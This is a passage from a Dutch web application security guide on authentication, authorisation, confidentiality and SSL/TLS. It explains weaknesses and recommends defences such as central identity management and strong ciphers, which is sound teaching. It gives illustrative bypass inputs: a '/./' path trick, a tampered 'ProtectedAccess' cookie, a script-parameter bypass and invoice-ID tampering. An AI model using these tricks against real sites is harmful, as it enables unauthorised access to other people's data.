De applicatie voert geen normalisatie van het verzoek vanaf de gebruiker uit (zie §6.2.3). Een kwaadwillende kan dit misbruiken door geen verzoek te doen naar ‘ /protected/insidernews.aspx’ maar naar ‘/./protected/insidernews.aspx’. Logischerwijs zijn deze twee verzoeken identiek. Toch past de webapplicatie bij het laatste verzoek geen autorisaties toe, aangezien het verzoek niet start met ‘ /protected/ ’. De kwaadwillende kan op deze manier de autorisaties op de betreffende directory eenvoudig omzeilen.

•

De applicatie baseert de toegang tot de beveiligde directory op basis van de waarde van een cookie. Een kwaadwillende bekijkt het verkeer dat zijn webbrowser uitwisselt met de webapplicatie en ziet dat de webapplicatie gebruik maakt van het cookie ‘ProtectedAccess’ met als waarde ‘0’. De kwaadwillende verandert dit in ‘ProtectedAccess=1’ waarna hij zonder problemen toegang krijgt tot de beveiligde directory. De webapplicatie baseert zijn beslissing om toegang te verlenen op de inhoud van het betreffende cookie.

•

Een kwetsbaar script binnen de webapplicatie voert geen goede invoervalidatie uit. Daardoor kan de kwaadwillende het ‘beveiligde’ script uitvoeren door een speciale invoer mee te geven aan dit kwetsbare script. Door een verzoek te doen naar ‘ /scripts/runscript.aspx?script=/protected/insidernews.aspx ’ kan de kwaadwillende de autorisatie omzeilen en het script alsnog uitvoeren.

Bovenstaande voorbeelden dienen slechts ter illustratie. Het geeft aan dat een webapplicatie veel implementatiefouten kan bevatten, waardoor kwaadwillenden autorisaties omzeilen.

8.2.3. Ongeautoriseerde directe objectreferenties Zodra een gebruiker zich via een authenticatiemechanisme heeft geauthenticeerd, krijgt deze vervolgens de beschikking over de toegang tot verschillende typen objecten. Denk hierbij aan databaserecords, bestanden en directories. Vaak gaat een webapplicatie wel goed om met de objecten die het de gebruiker aanbiedt, maar faalt het in het autoriseren wanneer de gebruiker de referenties naar objecten handmatig wijzigt. Dit type kwetsbaarheid komt ook tegenwoordig nog in veel webapplicaties voor. Stel bijvoorbeeld dat een organisatie een website aanbiedt aan zijn klanten die toegang biedt tot digitale facturen. Zodra de klant (met klantnummer ‘1315’) heeft ingelogd op de website, krijgt deze een overzicht van drie facturen te zien met de ID’s 1315-1, 1315-2 en 1315-3. Als de klant de tweede factuur aanklikt, wijzigt de URL naar onderstaand voorbeeld: http://www.uuerel.nl/facturen/open.aspx?id=1315-2

Titel

Datum


4-11-2010

Pagina

132

Klikt de klant alleen de facturen aan die hij via de website krijgt aangeboden, dan is er geen probleem. Echter, door het ID in de URL handmatig te wijzigen, is het mogelijk om facturen van andere klanten in te zien. Door bijvoorbeeld de URL te wijzigen in: http://www.uuerel.nl/facturen/open.aspx?id=1316-1 krijg je vervolgens de eerste factuur van de klant met klantnummer 1316 te zien. Het probleem is dus dat de webapplicatie onvoldoende controles uitvoert tussen de gebruiker die zich heeft geauthenticeerd en de informatie die hij opvraagt. VOORBEELD Een voorbeeld van deze kwetsbaarheid deed zich eind 2007 voor in het offerte- en aanmeldsysteem van zorgverzekeraar CZ. Door handmatig een referentie naar een offertenummer te wijzigen, bleek het mogelijk om de offertes van ongeveer 50.000 personen in te zien. Hierdoor bleek het mogelijk toegang te krijgen tot zaken als e-mailadressen, burgerservicenummers, banknummers en adressen. Meer informatie hierover kunt u vinden op de website van CZ: http://www.cz.nl/%7Bd79e1cd1-88ea-438f-ab0a-fc3e6462342a%7D

8.2.4. Onveilige authenticatiemechanismen Niet alle authenticatiemechanismen die een webapplicatie kan gebruiken, zijn even veilig. Een belangrijk gevaar dat verbonden is aan het gebruik van authenticatiemechanismen, is de mogelijkheid tot het achterhalen c.q. onderscheppen hiervan. Als een kwaadwillende erin slaagt om authenticatiegegevens te achterhalen, kan deze zich voordoen als iemand anders. Voor het onderscheppen van authenticatiegegevens heeft de kwaadwillende een aantal mogelijkheden: •

Phishing. Hierbij achterhaalt een kwaadwillende authenticatiegegevens (en mogelijke andere informatie) door gebruikers te verleiden om naar een namaakwebsite te surfen en daar deze (authenticatie-)gegevens in te vullen.

•

Social engineering. Social engineering achterhaalt authenticatiegegevens door gebruikers over te halen deze te onthullen. Social engineering speelt ook een belangrijke rol bij phishing. Social engineering is echter breder. Het kan bijvoorbeeld ook gaan om het opbellen van personen om op die manier authenticatie- of andere waardevolle gegevens te achterhalen.

•

Sniffing. Bij sniffing probeert een kwaadwillende door het opvangen van netwerkverkeer authenticatiegegevens te verkrijgen. Door deze passieve vorm van aanvallen, zal een gebruiker normaal gesproken niet merken dat zijn

Titel

Datum


4-11-2010

Pagina

133

authenticatiegegevens zijn onderschept. •

Cross-Site Scripting (XSS). XSS is uitgebreid beschreven in hoofdstuk 5 en biedt mogelijkheden om authenticatiegegevens en sessie-ID’s van gebruikers te onderscheppen.

Ook authenticatiemechanismen die op het oog veilig lijken hoeven niet per definitie veilig te zijn. Neem bijvoorbeeld authenticatie op basis van het basic authentication mechanisme, een standaard – en veel gebruikt – mechanisme binnen HTTP om gebruikers te authenticeren. Een typische HTTP-header bij gebruik van basic authentication ziet er als volgt uit: Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ= Op het eerste oog lijkt het erop dat de authenticatiegegevens versleuteld zijn, omdat deze niet direct uit de inhoud van de HTTP-header af te leiden zijn. Basic authentication maakt gebruik van base64 encoding. Strings die middels base64 gecodeerd zijn, kun je ook eenvoudig weer decoderen. Figuur 8-2 toont dat het zeer eenvoudig is om via een simpele tool (base64 decoder) een gebruikersnaam en een wachtwoord uit deze string te ‘toveren’. Weet een kwaadwillende erin te slagen deze gegevens te sniffen, dan is het voor hem zeer eenvoudig om de inhoud ervan te misbruiken.

Figuur 8-2: base64 encoding/decoding

Titel

Datum


4-11-2010

Pagina

134

ACHTERGROND In juli 2006 verscheen voor het eerst een grootschalige 'man-inthe-middle' phishing. Via een dergelijke phishingaanval trachten kwaadwillenden sterke authenticatiemechanismen (zoals tokens e.d.) te omzeilen. Het verschil met een 'normale' phishingaanval is, dat de server van de kwaadwillende de authenticatiegegevens van de gebruiker direct doorspeelt aan de webserver (van de bank in dit geval) met als doel om direct te controleren of de gegevens kloppen en om gelijk daarna een (financiële) transactie uit te voeren. Deze specifieke phishingaanval was gericht op Citibank, maar het ligt voor de hand dat ook andere organisaties slachtoffer kunnen worden van een dergelijke aanval. Zie voor meer informatie over deze aanval: http://blog.washingtonpost.com/ securityfix/2006/07/citibank_phish_spoofs_2factor_1.html

8.2.5. Discrepantie tussen authenticatiemechanisme en beveiligingsbeleid Bij veel projecten besteedt men, als gevolg van bijvoorbeeld tijdsdruk, onvoldoende aandacht aan het projecteren van het beveiligingsbeleid van de organisatie op de webapplicatie en de bijbehorende data. Gevolg: de authenticatie is veel te ‘zwaar’ voor de data die de applicatie gebruikt, of de authenticatie is veel te ‘zwak’. In geen van de gevallen is er sprake van een ideale situatie. In het tweede geval is er zelfs sprake van een beveiligingsrisico, omdat data onvoldoende beschermd bereikbaar is via internet. Discrepantie tussen het authenticatiemechanisme en het beveiligingsbeleid kan ook gedurende de levenscyclus van een applicatie ontstaan. Op het moment dat een nieuwe applicatie het levenslicht ziet, voert de organisatie bijvoorbeeld een risicoanalyse uit, waaruit voortvloeit dat de applicatie voldoende beschermd is op basis van gebruikersnaam/wachtwoord authenticatie. De applicatie groeit vervolgens een aantal jaren door waarbij de organisatie steeds meer functionaliteiten en data aan de webapplicatie toevoegt. Wat een organisatie vaak nalaat is, om regelmatig een risicoanalyse uit te voeren op de applicatie. Op een gegeven moment voldoet het gebruikte authenticatiemechanisme niet meer voor de gestaag doorgegroeide applicatie.

8.2.6. Het wiel opnieuw uitvinden De implementatie van authenticatieen toegangsmechanismen is niet altijd even triviaal. Zeker wanneer het gaat om complexe authenticatiemechanismen (digitale certificaten, tokens) en complexe toegangsmatrices (veel rollen, veel resources) kan implementatie ervan veel tijd en moeite in beslag nemen. Het gevaar is dat elke webapplicatie opnieuw ‘het wiel uitvindt’. En elke keer dat een applicatie het wiel opnieuw uitvindt, bestaat er de kans op (beveiligings-)fouten, moet je

Titel

Datum


4-11-2010

Pagina

135

beheermechanismen inregelen, moeten diepgaande testen worden uitgevoerd, etcetera. De kans dat je een authenticatiemechanisme meerdere malen uitvindt, is zeker ook aanwezig als verschillende webapplicaties op verschillende manieren ontsloten worden en gebruik maken van verschillende protocollen en technologieën. Stel bijvoorbeeld dat een organisatie start met een webapplicatie die gebruikers benaderen via hun webbrowser (op basis van HTML). De webapplicatie is beschermd met een gebruikersnaam en een wachtwoord. Vervolgens besluit de organisatie om delen van de webapplicatie ook beschikbaar te stellen via een webservice (op basis van XML). Ook deze webservice wil men beschermen op basis van een gebruikersnaam en een wachtwoord. In veel gevallen moet je voor deze webservice een nieuw authenticatieproces inrichten. Dit terwijl het grootste gedeelte van het bestaande authenticatiemechanisme in veel gevallen herbruikt kan worden.

8.2.7. Incompatibele authenticatiemechanismen Wanneer je het wiel voor elke webapplicatie opnieuw uitvindt (§8.2.6), bestaat de kans dat webapplicaties een groot aantal verschillende authenticatiemechanismen implementeren om deze te beschermen. Deze incompatibiliteit kan tot verschillende problemen leiden. Enkele van de meest voorkomende zijn: •

Bij het ‘in elkaar schuiven’ van verschillende applicaties (bijvoorbeeld verschillende bestaande webapplicaties achter een nieuw te ontwikkelen portaal) ontstaan problemen, omdat de verschillende authenticatiemechanismen ervoor zorgen dat gebruikers op elke afzonderlijke applicatie opnieuw moeten inloggen. Het is, met andere woorden, niet mogelijk om via één account toegang te verkrijgen tot de afzonderlijke webapplicaties (Single Sign-On). ACHTERGROND Dit probleem doet zich bijvoorbeeld ook voor wanneer twee voorheen afzonderlijke organisaties intensiever met elkaar moeten samenwerken of fuseren. Het is denkbaar dat beide organisaties vergelijkbare systemen bezitten die naar elkaar toe moeten groeien en uiteindelijk in elkaar moeten opgaan. Gebruikers die voorheen klant waren van beide organisaties bezitten hierdoor twee identiteiten. Het bereiken van SSO-functionaliteit is in dit soort gevallen vaak alleen mogelijk via complexe synchronisatiemechanismen tussen de twee applicaties, het inzetten van een gefedereerde identiteit of via een big-bang aanpak (het lanceren van een volledig nieuw systeem als vervanging voor de twee oudere systemen).

•

De beheertooling voor het ene authenticatiemechanisme is niet bruikbaar voor het andere. Gevolg hiervan is dat voor elk authenticatiemechanisme een apart

Titel

Datum


4-11-2010

Pagina

136

beheerproces (inclusief achterliggende techniek) ingericht moet worden voor gebruikersbeheer, rollenbeheer, etcetera. •

Het is niet mogelijk een goed profiel op te bouwen van een gebruiker. Wanneer persoon A account A1 in applicatie 1 krijgt en account A2 in applicatie 2, zijn deze twee identiteiten veelal niet met elkaar te combineren of moeten hiervoor onevenredig veel activiteiten worden ondernomen. Hierdoor kun je geen geheel omvattend profiel van deze persoon maken en moeten applicaties overlappende gegevens ieder apart bijhouden (denk hierbij bijvoorbeeld aan een adreswijziging die elke applicatie afzonderlijk moet doorvoeren).

8.3. Aanbevelingen In deze paragraaf komen maatregelen aan bod die een organisatie kan implementeren om de gevaren en bedreigingen uit de vorige paragraaf het hoofd te bieden.

8.3.1. Bepaal de plaats van identiteiten toegangsbeheer Eén van de belangrijkste stappen die je op het gebied van identiteiten toegangsbeheer moet nemen, is bepalen waar je identiteiten toegangsbeheer belegt. Kiest een organisatie voor dit doel een gezamenlijk raamwerk of verwerk je dit steeds opnieuw los in de applicatie? Figuur 8-3 toont een aantal mogelijke alternatieven.

Figuur 8-3: verdeling identiteiten toegangsbeheer applicatie/centraal

Het overzicht van figuur 8-3 toont vijf verschillende applicaties (A-E) die allen een andere invulling hebben gegeven aan identiteitbeheer en toegangsbeheer. Bij de

Titel

Datum


4-11-2010

Pagina

137

eerste applicatie (applicatie A) is alles op dit gebied in de applicatie zelf ingebouwd. De applicatie kan geheel zelfstandig functioneren maar maakt geen gebruik van bestaande mechanismen. Applicatie E daarentegen heeft totaal geen ingebouwde logica voor identiteiten toegangsbeheer. Deze applicatie vertrouwt volledig op centraal belegde functionaliteiten op dit gebied. Voordeel van de aanpak van applicatie E is, dat programmeurs zich tijdens het ontwikkelen van de applicatie volledig hebben kunnen richten op de functionaliteit van de applicatie. Zij hoeven zich niet druk te maken om zaken als authenticatie en autorisatie. Ook tussenvormen zijn uiteraard mogelijk. Zo neemt applicatie D alle zaken op het gebied van identiteitbeheer centraal af, maar geeft het een eigen invulling aan toegangsbeheer. Met andere woorden: het vaststellen van de identiteit vertrouwt de applicatie toe aan een centraal mechanisme, maar het uitdelen van rechten aan deze identiteit is voorbehouden aan de applicatie.

8.3.2. Overweeg de invoering van I&AM tooling Op het moment dat besloten is, waar taken op het gebied van identiteiten toegangsbeheer worden belegd, kun je vervolgens de keuze overwegen om tooling op dit gebied te implementeren: I&AM (Identity & Access Management) tooling. Uiteraard is een keuze voor dergelijke tooling alleen relevant wanneer men je bepaalde delen van identiteiten toegangsbeheer buiten de applicatie plaatst (applicatie B-E uit het overzicht van figuur 8-3).

8.3.2.1. Omschrijving I&AM tooling kan bijvoorbeeld de authenticatie uitvoeren voor een verzameling van webapplicaties. Net als bij de application-level firewall kan deze tooling werken op basis van een reverse proxy oplossing of via een plug-in op de webserver.

Figuur 8-4: centrale authenticatie en autorisatie

Titel

Datum


4-11-2010

Pagina

138

Figuur 8-4 beschrijft een voorbeeld van een mogelijke implementatie van I&AM tooling (op basis van een reverse proxy oplossing). In figuur 8-4 vindt authenticatie en autorisatie buiten de applicatie plaats via een centrale server. Deze server ondersteunt meerdere authenticatiemechanismen en heeft bovendien verschillende servers tot zijn beschikking voor het controleren van authenticatiegegevens en autorisaties. Voor de achterliggende webapplicaties (applicatie A, B en C) is het gehele authenticatieen autorisatieproces geheel onzichtbaar. De webapplicatie krijgt een identifier aangeleverd en eventueel een aantal autorisaties en attributen die van toepassing zijn op de identifier. De manier waarop dit plaatsvindt, is afhankelijk van de gekozen strategie voor beveiligingsintegratie (hoofdstuk 10). Vanuit het oogpunt van de webapplicatie is het zeer eenvoudig om het authenticatiemechanisme te wijzigen: of de centrale server nu authenticeert op basis van een gebruikersnaam/wachtwoord combinatie of op basis van een digitaal certificaat maakt voor de webapplicatie niet uit, omdat deze alleen werkt op basis van een identifier en dus ‘authenticatoronafhankelijk’ is. Een ander mechanisme dat veel I&AM-oplossingen ondersteunt is identiteitfederatie. Via een gefederaliseerde (of overkoepelende) identiteit is het mogelijk om identiteiten uit te wisselen tussen verschillende organisaties. Verschillende standaarden op dit gebied, zoals Security Assertion Markup Language (SAML) en WS-Federation, stellen organisaties in staat om met elkaar te communiceren over identiteiten, attributen en authenticatiegegevens.

8.3.2.2. Voordelen Een belangrijk voordeel van het gebruik van I&AM tooling is dat de complexiteit van het authenticeren en autoriseren van gebruikers uit de webapplicatie wordt gehaald. Hierdoor vermindert de complexiteit van de webapplicatie en kunnen ontwikkelaars zich in het geheel richten op de functionaliteit in de webapplicatie. Dit betekent dat de ontwikkeling van webapplicaties sneller verloopt en een bewezen oplossing de authenticatie en autorisatie van gebruikers afhandelt. Door daarnaast de authenticatie los te trekken van de webapplicatie, is het eenvoudiger om in de toekomst andere authenticatoren in te zetten voor het beveiligen van de webapplicatie. Start je bijvoorbeeld met een webapplicatie die beveiliging vereist op basis van een gebruikersnaam/wachtwoord en blijkt dit later niet meer voldoende te zijn (in verband met de classificatie van de data die de webapplicatie aanbiedt), dan is het makkelijker om de gebruikte authenticator te wijzigen. Hiervoor voer je wijzigingen door in de I&AM-tooling en hoeft de achterliggende webapplicatie hier in principe niets van te merken.

Titel

Datum


4-11-2010

Pagina

139

Ook de integratie van verschillende afzonderlijke webapplicaties achter één portaal verloopt een stuk eenvoudiger na de introductie van I&AM-tooling. Door één ‘master’domein te creëren (bijvoorbeeld sso.uuerel.nl), kan de I&AM-tooling de gebruiker eenmaal tegen dit ‘master’-domein authenticeren en de gebruiker vervolgens toegang geven tot een verscheidenheid aan webapplicaties. De I&AM-tooling speelt de inloggegevens van de gebruiker door aan de achterliggende webapplicatie (Single Sign-On). Eventueel kan de I&AM-tooling verschillende mechanismen gebruiken voor het doorspelen van deze gegevens aan verschillende achterliggende webapplicaties; hierdoor is de impact voor deze webapplicaties minimaal. Ook de implementatie van Single Sign-Out (zie §8.3.4) wordt op deze manier een stuk eenvoudiger. Tot slot is in veel I&AM applicaties een standaard workflow ingebouwd die zorgt voor een gestandaardiseerd proces voor het toevoegen, verwijderen en wijzigen van gebruikersinformatie. Hierdoor is het open afvoeren van gebruikers eenvoudiger te regelen en te beheren.

8.3.2.3. Voorbeelden van I&AM-tools Er zijn verschillende producten op de markt die services op het gebied van identiteiten toegangsbeheer voor webapplicaties bieden. Onderstaand vindt u een – alfabetisch – overzicht van producten die (geheel of gedeeltelijk) invulling geven aan de functionaliteiten zoals deze in dit hoofdstuk worden beschreven: • • • • •

CA Siteminder Entrust GetAccess IBM Tivoli Access Manager Oblix NetPoint RSA Access Manager

8.3.3. Zorg dat het authenticatiemechanisme niet te zwaar/te licht is Er bestaan verschillende authenticatiemechanismen die een organisatie kan inzetten voor de bescherming van een webapplicatie. Het is van belang dat je op basis van een (korte) risicoanalyse bekijkt welk authenticatiemechanisme het beste past bij de betreffende applicatie. Figuur 8-5 geeft een overzicht van enkele authenticatiemechanismen.

Titel

Datum


4-11-2010

Pagina

140

Figuur 8-5: Overzicht van authenticatiemechanismen en voorbeelden

Authenticatie kun je baseren op verschillende ‘factoren’. Een factor beschrijft op welke manier een gebruiker zich moet authenticeren. Dit kan zijn op basis van: • • •

Iets dat de gebruiker weet (bijvoorbeeld een wachtwoord of pincode). Iets dat de gebruiker heeft (bijvoorbeeld een token of smartcard). Iets dat de gebruiker is (bijvoorbeeld een vingerafdruk).

Bij webapplicaties ligt het gebruik van de eerste twee factoren (iets dat de gebruiker weet of heeft) het meest voor de hand. Gebruik van biometrische kenmerken voor authenticatie tot webapplicaties kan zeer complex en kostbaar zijn en is nog geen gemeengoed. Om de kans op het omzeilen van het authenticatiemechanisme te voorkomen, is het gangbaar om minimaal 2 verschillende factoren te combineren (‘2-factor authentication’). Hierbij kun je denken aan het combineren van smartcards (iets dat de gebruiker heeft) met een passphrase (iets dat de gebruiker weet).

8.3.4. Vergeet het uitloggen niet Bij het authenticeren van gebruikers wordt over het algemeen veel aandacht besteed aan het inloggen van gebruikers. Wat vaak vergeten wordt, is dat gebruikers op een

Titel

Datum


4-11-2010

Pagina

141

gegeven moment ook weer de kans moeten krijgen om uit te loggen. Tijdens het uitloggen van een gebruiker wordt zijn sessie onklaar gemaakt en kan een kwaadwillende met eventuele onderschepte sessiegegevens geen verbinding meer opzetten. OPMERKING Uitloggen is ook een belangrijk aandachtspunt bij de implementatie van Single Sign-On (SSO) mechanismen. Op het moment dat een gebruiker aangeeft uit te willen loggen, moet op dat moment een Single Sign-Out plaatsvinden waarbij het mechanisme de authenticatie richting alle betrokken systemen weer ongedaan maakt. Verder is het zaak aandacht te besteden aan de idle time-out per sessie. Hoe lang mag een gebruiker verbonden (geauthenticeerd) blijven zonder zichtbare activiteit? Het is altijd aan te raden om een zodanige idle time-out in te stellen dat gebruikers automatisch worden uitgelogd op het moment dat zij geen gebruik meer (lijken te) maken van de webapplicatie. Op deze manier verminder je bijvoorbeeld het risico dat een kwaadwillende een webapplicatie ongeautoriseerd vanuit een internetcafé kan benaderen, doordat een vorige gebruiker vergeten is uit te loggen. Daarnaast minimaliseert deze aanpak het gebruik van resources op de webserver.

8.3.5. Zorg voor uniforme en flexibele authenticatiemechanismen Zoals in §8.2.6 al werd beschreven, is het van belang dat applicaties zoveel mogelijk gebruik maken van bestaande authenticatiemechanismen en niet ‘het wiel opnieuw uitvinden’. Om dit te kunnen bereiken dient het authenticatiemechanisme ingebouwd te kunnen worden in verschillende technologieën en protocollen. Om dit te bereiken is het belangrijk rekening te houden met de volgende overwegingen: •

Zorg ervoor dat gebruikersgegevens zoveel mogelijk in dezelfde dataverzameling terecht komen. Creëer geen aparte databases met gebruikers voor verschillende applicaties, maar consolideer deze zoveel mogelijk in één database. Hierdoor vermindert de beheerlast, voorkom je dat authenticatiemechanismen gerepliceerd en gesynchroniseerd moeten worden en verhoog je de mogelijkheid tot de invoering van Single Sign-On (SSO) en Single Sign-Out.

•

Zorg ervoor dat ontwikkelde authenticatiemechismen eenvoudig ingebouwd kunnen worden in verschillende technologieën en protocollen. Hierbij is ook een rol weg gelegd voor eventueel ingezette I&AM tooling. Deze tooling moet eenvoudig overweg kunnen gaan met zowel HTML- als XML-applicaties zonder dat daarvoor grote inspanningen nodig zijn. Denk hierbij bijvoorbeeld aan de implementatie van authenticatie op basis van digitale (X.509-)certificaten: wanneer je dit hele proces hebt ingericht voor een webapplicatie op basis van HTML, moet het hele authenticatiemechanisme eenvoudig te gebruiken zijn door een webservice op

Titel

Datum


4-11-2010

Pagina

142

basis van XML. •

Wees erop voorbereid dat diverse technologieën eenvoudig kunnen worden ingepast. Denk hierbij aan zaken als Federated Identity, SAML, WS-Trust, etcetera.

ACHTERGROND De SAML-standaard is een standaard die staat voor Secure Assertion Markup Language. De standaard definieert een raamwerk voor het uitwisselen van beveiligingsinformatie tussen verschillende (online) organisaties. Met SAML kunnen deze organisaties op basis van XML ‘assertions’ aanmaken, opvragen en uitwisselen. Hierdoor kan op een gegeven moment een vorm van Single Sign-On over verschillende organisaties ontstaan: een gebruiker authenticeert zich bij organisatie A, waarna organisatie A ‘assertions’ beschikbaar stelt aan andere organisaties die hierdoor niet opnieuw de gebruiker hoeven te authenticeren. De SAML-standaard wordt onderhouden door OASIS (Organization for the Advancement of Structured Information Standards): http://www.oasis-open.org/specs/#samlv2.0

Titel

Datum


4-11-2010

Pagina

143

9.

Vertrouwelijkheid en onweerlegbaarheid

Vertrouwelijkheid en onweerlegbaarheid zijn twee zaken die nauw aan elkaar verbonden zijn door het gebruik van cryptografische sleutels. Als je gebruik maakt van asymmetrische versleuteling (verschillende sleutels voor versleuteling en ontsleuteling), is het publieke deel van de sleutel bestemd voor versleuteling (vertrouwelijkheid) van gegevens. Het privédeel van de sleutel is bestemd voor ontsleuteling en het plaatsen van digitale handtekeningen (onweerlegbaarheid/onloochenbaarheid). Dit hoofdstuk gaat dieper in op de begrippen vertrouwelijkheid en onweerlegbaarheid in het kader van webapplicaties.

9.1. Inleiding De laag ‘Vertrouwelijkheid en onweerlegbaarheid’ vormt de laatste schakel (laag) in het contact tussen een client en een webapplicatie. Deze laag is vooral sterk afhankelijk van de inrichting van identiteitbeheer. Voor het kunnen versleutelen van gegevens en het vaststellen van onweerlegbaarheid is het namelijk van belang dat er wederzijdse authenticatie heeft plaatsgevonden. Dit hoofdstuk gaat eerst in op kwetsbaarheden en bedreigingen op dit gebied om vervolgens een aantal aanbevelingen te beschrijven.

9.2. Mogelijke kwetsbaarheden en bedreigingen De belangrijkste kwetsbaarheden en bedreigingen op het gebied van vertrouwelijkheid en onweerlegbaarheid zijn de twee tegenpolen van deze begrippen: lekken van informatie en weerlegbaarheid. De komende twee paragrafen beschrijven deze begrippen in meer detail.

9.2.1. Lekken van informatie Van lekken van informatie is in ieder geval sprake wanneer vertrouwelijke informatie onbedoeld terecht komt bij ongeautoriseerde personen. Het lekken van informatie kun je ook nauwkeuriger definiëren als het onnodig verstrekken van informatie. Dit hoeft dus niet per se vertrouwelijke informatie te zijn. De volgende voorbeelden schetsen een aantal gevallen waarin de applicatie onnodig(e) informatie verstrekt (zie ook hoofdstuk 5): •

Een webserver toont de gebruikte versies van software en plug-ins.

Titel

Datum


4-11-2010

Pagina

144

• •

Een script bevat commentaar waarin details over de werking van het script zijn opgenomen. Een foutmelding bevat informatie over de gebruikte database met bijbehorende gebruikersnamen en wachtwoorden.

De zaken zoals hierboven beschreven, zijn redelijk basaal en kwamen eerder aan de orde in de voorgaande hoofdstukken. Waar dit hoofdstuk zich op concentreert, is het lekken van gevoelige informatie richting ongeautoriseerde personen. Dit kan bijvoorbeeld gebeuren op het moment dat: • •

• •

Een kwaadwillende erin slaagt vertrouwelijke gegevens uit de database van de webapplicatie op te halen. Een kwaadwillende erin slaagt bestanden met vertrouwelijke informatie (bijvoorbeeld Word-documenten en tekstbestanden) op de webserver te benaderen. Een kwaadwillende erin slaagt om vertrouwelijke gegevens, die vrij leesbaar over het internet worden uitgewisseld, te onderscheppen. Een kwaadwillende erin slaagt bestanden met vertrouwelijke informatie uit het interne netwerk te benaderen, terwijl deze bestanden niet bedoeld zijn voor ontsluiting via de webapplicatie.

9.2.2. Weerlegbaarheid Er is sprake van weerlegbaarheid als de applicatie geen mogelijkheden biedt om belangrijke zaken rondom een transactie te bewijzen. De volgende zaken vallen onder de weerlegbaarheid van een transactie: • • • •

De bron van een transactie. Een zendende partij kan ontkennen dat een bepaald bericht van hem afkomstig is. Het tijdstip van een transactie. Een zendende of ontvangende partij kan ontkennen dat een transactie op een bepaald tijdstip heeft plaatsgevonden. De ontvangst van een transactie. Een ontvangende partij kan ontkennen dat deze een bepaalde transactie heeft ontvangen. De inhoud van een transactie (integriteit). Een zendende of ontvangende partij kan ontkennen dat een transactie een bepaalde inhoud bevatte. Een klassiek voorbeeld hiervan is een bedrag dat zich in een transactie bevindt. Het is belangrijk dat onweerlegbaar is, welk bedrag en welke bestemmingsrekening zich in een transactie bevindt.

Titel

Datum


4-11-2010

Pagina

145

9.3. Aanbevelingen De komende paragrafen beschrijven aanbevelingen die ervoor moeten zorgen dat bij transacties via webapplicaties geen gegevens uitlekken en dat daarnaast zender en ontvanger niet kunnen betwisten dat deze transacties hebben plaatsgevonden. 9.3.1. Maak (extern) gebruik van SSL-verbindingen HTTP biedt standaard ondersteuning om een versleutelde verbinding op te zetten tussen de client en server. Voor de versleuteling maakt HTTP gebruik van het Secure Sockets Layer protocol (SSL) of de opvolger daarvan: het Transport Layer Security (TLS) protocol. Door de verbinding richting de webapplicatie te versleutelen via SSL of TLS voorkom je dat kwaadwillenden eenvoudig de verkeersstromen tussen client en server kunnen inzien. Je moet bij het gebruik van SSL en TLS wel beseffen dat het hier versleuteling op transportniveau betreft. Op de server zorgt het webserverproces voor ontsleuteling van de informatie, waarna de webapplicatie met onversleutelde informatie aan de slag gaat. Om informatie ook versleuteld op te slaan in bestanden en databases aan serverzijde, moet je aparte maatregelen treffen (zie §9.3.2). Bij de inzet van een Web Application Firewall handelt niet de webserver, maar de WAF de SSL-verbinding af (zie ook hoofdstuk 7). Zodra de SSL-verbinding tot stand is gekomen, zal de WAF de verbinding doorgeven naar de achterliggende webserver. De verbinding tussen de WAF en de achterliggende webserver hoeft niet per definitie op basis van SSL of TLS tot stand te komen. Omdat deze laatste verbinding zich vrijwel altijd in een vertrouwde en afgeschermde omgeving bevindt (de DMZ van de organisatie), kun je er ook voor kiezen deze verbinding te baseren op het onversleutelde HTTP. Het voordeel van een dergelijke aanpak is, dat de achterliggende webserver niet wordt belast met SSL-versleuteling en dat daarnaast de mogelijkheid bestaat om het netwerkverkeer te bekijken met aanwezige Intrusion Detection Systemen (IDS). Daar waar een IDS normaal gesproken het verkeer richting een SSL-beveiligde webapplicatie niet kan monitoren, kan dit door de inzet van een WAF in combinatie met een HTTP-verbinding tussen de WAF en de webapplicatie wel. Zie hoofdstuk 11 voor meer informatie over de inzet van een IDS. Figuur 9-1 illustreert het hierboven beschreven concept.

Titel

Datum


4-11-2010

Pagina

146

Figuur 9-1: SSL/TLS naar HTTP-omzetting op de WAF

Als een WAF de SSL-verbinding beëindigt en op basis van HTTP richting de achterliggende webservers communiceert (zoals in figuur 9-1), betekent dit wel dat die geen beschikking krijgen over de SSL-authenticatieinformatie als de WAF het gebruik van clientcertificaten heeft afgedwongen. Mocht de webapplicatie deze informatie wel nodig hebben, dan kan de WAF deze informatie veelal doorgeven via (door de WAF) ingevoegde HTTP-headers of toegevoegde parameters bij een URL-aanroep. Dit is een functionaliteit die de aandacht krijgt in de laag beveiligingsintegratie (hoofdstuk 10). OPMERKING Het centraliseren van SSL-terminatie op een application-level firewall heeft ook als voordeel dat alle ‘SSL-rekenkracht’ aan dit component kan worden toegevoegd. Zo kun je de application-level gateway uitrusten met een hardware accelerator die het ver- en ontsleutelen van SSL-gegevens versnelt en eventueel veilige opslag van het privégedeelte van sleutelparen mogelijk maakt. Wanneer elke webserver afzonderlijk SSL zou moeten ondersteunen, betekent dit dat hergebruik van deze hardware accelerators voor verschillende webapplicaties niet mogelijk is. Bij gebruik van SSL heeft een organisatie de keuze tussen verschillende versleutelingprotocollen voor (1) het uitwisselen van sleutels, (2) het authenticeren van de eindgebruiker en de server en (3) het versleutelen van de gegevens. Belangrijk is om voor elk van deze functionaliteiten een sterk protocol te kiezen. De keuze voor een zwak protocol kan ertoe leiden dat kwaadwillenden de SSL-beveiliging breken.

Titel

Datum


4-11-2010

Pagina

147

VOORBEELD Apache, een veel gebruikte webserver, biedt standaard de mogelijkheid om alleen sterke protocollen toe te staan voor SSL. Door het opnemen van de regel ‘SSLCipherSuite HIGH:MEDIUM’ in het Apache configuratiebestand, dwingt Apache af dat de webserver alleen sterkere protocollen ondersteunt. Wanneer een gebruiker een verbinding opzet en verzoekt om het gebruik van een zwakker protocol, dan zal de webserver deze verbinding niet accepteren. Het is belangrijk om een goed beheerproces rondom de certificaten in te voeren. Zodra een certificaat bijvoorbeeld niet meer geldig is, krijgen gebruikers een waarschuwing te zien bij het bezoeken van de site of werkt de webapplicatie in zijn geheel niet meer.

